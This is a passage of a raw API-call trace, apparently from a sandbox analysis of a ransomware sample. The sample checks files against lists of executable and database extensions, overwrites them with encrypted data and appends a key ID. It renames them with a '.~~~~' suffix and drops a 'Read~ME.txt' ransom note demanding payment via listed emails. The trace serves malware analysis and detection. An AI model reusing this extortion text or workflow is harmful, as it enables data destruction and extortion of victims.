	[0085.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0085.014] lstrlenW (lpString=".msp") returned 4
	[0085.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0085.014] lstrlenW (lpString=".pif") returned 4
	[0085.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0085.015] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0085.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0085.015] lstrlenW (lpString=".sqb") returned 4
	[0085.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0085.015] lstrlenW (lpString=".ost") returned 4
	[0085.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0085.015] lstrlenW (lpString=".txt") returned 4
	[0085.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0085.015] lstrlenW (lpString=".mdt") returned 4
	[0085.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0085.015] lstrlenW (lpString=".BDB") returned 4
	[0085.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0085.015] lstrlenW (lpString=".eql") returned 4
	[0085.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0085.016] lstrlenW (lpString=".DBF") returned 4
	[0085.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0085.016] lstrlenW (lpString=".EQL") returned 4
	[0085.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0085.016] lstrlenW (lpString=".FDB") returned 4
	[0085.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0085.016] lstrlenW (lpString=".EDB") returned 4
	[0085.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0085.016] lstrlenW (lpString=".DACPAC") returned 7
	[0085.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0085.016] lstrlenW (lpString=".VHD") returned 4
	[0085.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0085.016] lstrlenW (lpString=".DBV") returned 4
	[0085.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0085.016] lstrlenW (lpString=".dacpac") returned 7
	[0085.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0085.016] lstrlenW (lpString=".sdf") returned 4
	[0085.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0085.016] lstrlenW (lpString=".accdb") returned 6
	[0085.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0085.016] lstrlenW (lpString=".DBX") returned 4
	[0085.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0085.016] lstrlenW (lpString=".MDT") returned 4
	[0085.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0085.017] lstrlenW (lpString=".SQB") returned 4
	[0085.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0085.017] lstrlenW (lpString=".vhd") returned 4
	[0085.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0085.017] lstrlenW (lpString=".bac") returned 4
	[0085.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0085.017] lstrlenW (lpString=".mdf") returned 4
	[0085.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0085.017] lstrlenW (lpString=".BAK") returned 4
	[0085.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0085.017] lstrlenW (lpString=".BAC") returned 4
	[0085.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0085.017] lstrlenW (lpString=".dbs") returned 4
	[0085.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0085.017] lstrlenW (lpString=".vhdx") returned 5
	[0085.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0085.017] lstrlenW (lpString=".NDF") returned 4
	[0085.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0085.017] lstrlenW (lpString=".dat") returned 4
	[0085.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0085.017] lstrlenW (lpString=".DBS") returned 4
	[0085.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0085.018] lstrlenW (lpString=".CKP") returned 4
	[0085.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0085.018] lstrlenW (lpString=".edb") returned 4
	[0085.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0085.018] lstrlenW (lpString=".PST") returned 4
	[0085.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0085.018] lstrlenW (lpString=".dbf") returned 4
	[0085.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0085.018] lstrlenW (lpString=".SQL") returned 4
	[0085.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0085.018] lstrlenW (lpString=".pst") returned 4
	[0085.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0085.018] lstrlenW (lpString=".dbv") returned 4
	[0085.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0085.018] lstrlenW (lpString=".SDF") returned 4
	[0085.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0085.018] lstrlenW (lpString=".dtxs") returned 5
	[0085.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0085.018] lstrlenW (lpString=".db3") returned 4
	[0085.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0085.018] lstrlenW (lpString=".OST") returned 4
	[0085.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0085.018] lstrlenW (lpString=".dbx") returned 4
	[0085.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0085.019] lstrlenW (lpString=".DB3") returned 4
	[0085.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0085.019] lstrlenW (lpString=".DAT") returned 4
	[0085.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0085.019] lstrlenW (lpString=".VHDX") returned 5
	[0085.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0085.019] lstrlenW (lpString=".ndf") returned 4
	[0085.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0085.019] lstrlenW (lpString=".DB") returned 3
	[0085.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0085.019] lstrlenW (lpString=".sql") returned 4
	[0085.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0085.019] lstrlenW (lpString=".MYD") returned 4
	[0085.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0085.019] lstrlenW (lpString=".DBT") returned 4
	[0085.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0085.019] lstrlenW (lpString=".ACCDB") returned 6
	[0085.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0085.019] lstrlenW (lpString=".fdb") returned 4
	[0085.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0085.019] lstrlenW (lpString=".bak") returned 4
	[0085.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0085.019] lstrlenW (lpString=".myd") returned 4
	[0085.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0085.019] lstrlenW (lpString=".DTXS") returned 5
	[0085.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0085.019] lstrlenW (lpString=".ckp") returned 4
	[0085.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0085.019] lstrlenW (lpString=".dbt") returned 4
	[0085.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0085.019] lstrlenW (lpString=".db") returned 3
	[0085.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0085.020] lstrlenW (lpString=".TXT") returned 4
	[0085.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0085.020] lstrlenW (lpString=".MDF") returned 4
	[0085.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0085.020] lstrlenW (lpString=".bdb") returned 4
	[0085.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0085.020] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0085.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.020] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0085.021] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.021] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0085.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0085.021] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20501100727) returned 1
	[0085.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9c825ff0, dwHighDateTime=0x1d60e1e)) 
	[0085.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0085.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0085.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0085.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2a30
	[0085.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2a30 | out: hHeap=0x300000) returned 1
	[0085.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808e58
	[0085.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808e58 | out: hHeap=0x300000) returned 1
	[0085.021] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0085.022] GetLastError () returned 0x0
	[0085.022] GetLastError () returned 0x0
	[0085.022] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0085.022] GetLastError () returned 0x0
	[0085.022] GetLastError () returned 0x0
	[0085.031] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff6dc0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.031] WriteFile (in: hFile=0x120, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x9240, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x9240, lpOverlapped=0x0) returned 1
	[0085.032] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0085.032] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.032] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.032] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.032] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.032] CloseHandle (hObject=0x120) returned 1
	[0085.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5240
	[0085.032] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.~~~~")) returned 1
	[0085.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5240 | out: hHeap=0x300000) returned 1
	[0085.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0085.033] GetLastError () returned 0x0
	[0085.033] RtlWakeConditionVariable () returned 0x365f70
	[0085.033] GetCurrentThreadId () returned 0x9f4
	[0085.033] GetCurrentThreadId () returned 0x9f4
	[0085.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808e58
	[0085.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3a88 | out: hHeap=0x300000) returned 1
	[0085.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2a68 | out: hHeap=0x300000) returned 1
	[0085.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3a88
	[0085.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0085.034] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0085.034] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0085.035] CloseHandle (hObject=0x120) returned 1
	[0085.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3a88 | out: hHeap=0x300000) returned 1
	[0085.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808e58 | out: hHeap=0x300000) returned 1
	[0085.035] RtlWakeConditionVariable () returned 0x365f70
	[0085.035] GetCurrentThreadId () returned 0x9f4
	[0085.035] GetCurrentThreadId () returned 0x9f4
	[0085.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808e58
	[0085.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f34a0 | out: hHeap=0x300000) returned 1
	[0085.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2aa0 | out: hHeap=0x300000) returned 1
	[0085.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f34a0
	[0085.036] lstrlenW (lpString=".scr") returned 4
	[0085.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".scr") returned 0x0
	[0085.036] lstrlenW (lpString=".cmd") returned 4
	[0085.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".cmd") returned 0x0
	[0085.036] lstrlenW (lpString=".dll") returned 4
	[0085.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".dll") returned 0x0
	[0085.036] lstrlenW (lpString=".bat") returned 4
	[0085.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".bat") returned 0x0
	[0085.036] lstrlenW (lpString=".cpl") returned 4
	[0085.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".cpl") returned 0x0
	[0085.036] lstrlenW (lpString=".sys") returned 4
	[0085.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".sys") returned 0x0
	[0085.036] lstrlenW (lpString=".msc") returned 4
	[0085.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".msc") returned 0x0
	[0085.036] lstrlenW (lpString=".com") returned 4
	[0085.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".com") returned 0x0
	[0085.036] lstrlenW (lpString=".lnk") returned 4
	[0085.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".lnk") returned 0x0
	[0085.036] lstrlenW (lpString=".msp") returned 4
	[0085.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".msp") returned 0x0
	[0085.036] lstrlenW (lpString=".pif") returned 4
	[0085.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".pif") returned 0x0
	[0085.036] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0085.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0085.200] lstrlenW (lpString=".sqb") returned 4
	[0085.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".sqb") returned 0x0
	[0085.200] lstrlenW (lpString=".ost") returned 4
	[0085.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".ost") returned 0x0
